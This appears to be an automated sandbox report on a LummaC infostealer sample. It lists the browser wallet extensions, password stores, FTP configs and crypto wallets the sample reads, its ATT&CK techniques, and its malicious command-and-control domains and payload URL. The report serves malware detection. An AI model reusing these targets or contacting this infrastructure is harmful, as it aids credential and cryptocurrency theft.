Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1907751642.0000000001382000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1907970052.0000000001343000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GxX48twWHA.exe PID: 6284, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: GxX48twWHA.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	4 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GxX48twWHA.exe	52%	Virustotal		Browse
GxX48twWHA.exe	68%	ReversingLabs	Win32.Infostealer.Tinba
GxX48twWHA.exe	100%	Avira	TR/Crypt.TPM.Gen
GxX48twWHA.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exebuG	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/c	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apiPL	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/t.com1	100%	Avira URL Cloud	malware
https://manyrestro.lat:443/api	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/O	100%	Avira URL Cloud	malware
https://lev-tolstoi.com:443/apic	100%	Avira URL Cloud	malware
https://bashfulacid.lat:443/apiX	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/ess	100%	Avira URL Cloud	malware
https://lev-tolstoi.com:443/apin.txtPK	100%	Avira URL Cloud	malware
http://185.215.113.16:80/off/def.exe3	0%	Avira URL Cloud	safe
https://shapestickyr.lat:443/api	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/m0#	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apieiwp~	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apik	100%	Avira URL Cloud	malware
https://lev-tolstoi.com:443/api-	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
wordyfindy.lat	unknown	unknown	false	high
slipperyloo.lat	unknown	unknown	false	high
curverpluch.lat	unknown	unknown	false	high
tentabatte.lat	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
manyrestro.lat	unknown	unknown	false	high
bashfulacid.lat	unknown	unknown	false	high
shapestickyr.lat	unknown	unknown	false	high
observerfry.lat	unknown	unknown	false	high
talkynicer.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
slipperyloo.lat	false	high
observerfry.lat	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
https://lev-tolstoi.com/api	false	high
curverpluch.lat	false	high
tentabatte.lat	false	high
manyrestro.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	GxX48twWHA.exe, 00000000.00000003.1829351198.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com:443/apin.txtPK	GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992769328.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933403044.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	GxX48twWHA.exe, 00000000.00000003.1829351198.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1829032882.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://store.steampowered.com/subscriber_agreement/	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_78.6.dr	false		high
https://lev-tolstoi.com/ess	GxX48twWHA.exe, 00000000.00000003.1933238541.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_86.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_78.6.dr	false		high
http://www.valvesoftware.com/legal.htm	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_105.6.dr, chromecache_86.6.dr	false		high
http://185.215.113.16/off/def.exebuG	GxX48twWHA.exe, 00000000.00000003.2094629554.0000000001381000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095044970.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_78.6.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiPL	GxX48twWHA.exe, 00000000.00000002.2176292367.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1948058695.0000000005A91000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933156594.0000000005A91000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094445705.0000000005A86000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1947682146.0000000005A91000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1881979488.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pshelpmechoose	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://manyrestro.lat:443/api	GxX48twWHA.exe, 00000000.00000003.1827743494.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/feedback/report?space=61	chromecache_78.6.dr, chromecache_106.6.dr	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/O	GxX48twWHA.exe, 00000000.00000003.1882225354.0000000005A82000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A81000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992508761.0000000005A85000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933084846.0000000005A84000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1948058695.0000000005A85000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1906133272.0000000005A82000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1881768394.0000000005A81000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1882538663.0000000005A84000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1883577380.0000000005A84000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/t.com1	GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827713857.000000000138E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/c	GxX48twWHA.exe, 00000000.00000003.1827901814.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bashfulacid.lat:443/apiX	GxX48twWHA.exe, 00000000.00000003.1827743494.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	GxX48twWHA.exe, 00000000.00000003.1804184873.0000000001384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_105.6.dr, chromecache_86.6.dr	false		high
https://github.com/Thraka	chromecache_78.6.dr	false		high
https://lev-tolstoi.com/	GxX48twWHA.exe, 00000000.00000003.1804399417.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094708734.0000000001398000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827743494.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1905852648.0000000005A81000.00000004.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094788467.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1993508348.0000000001398000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827901814.0000000001368000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 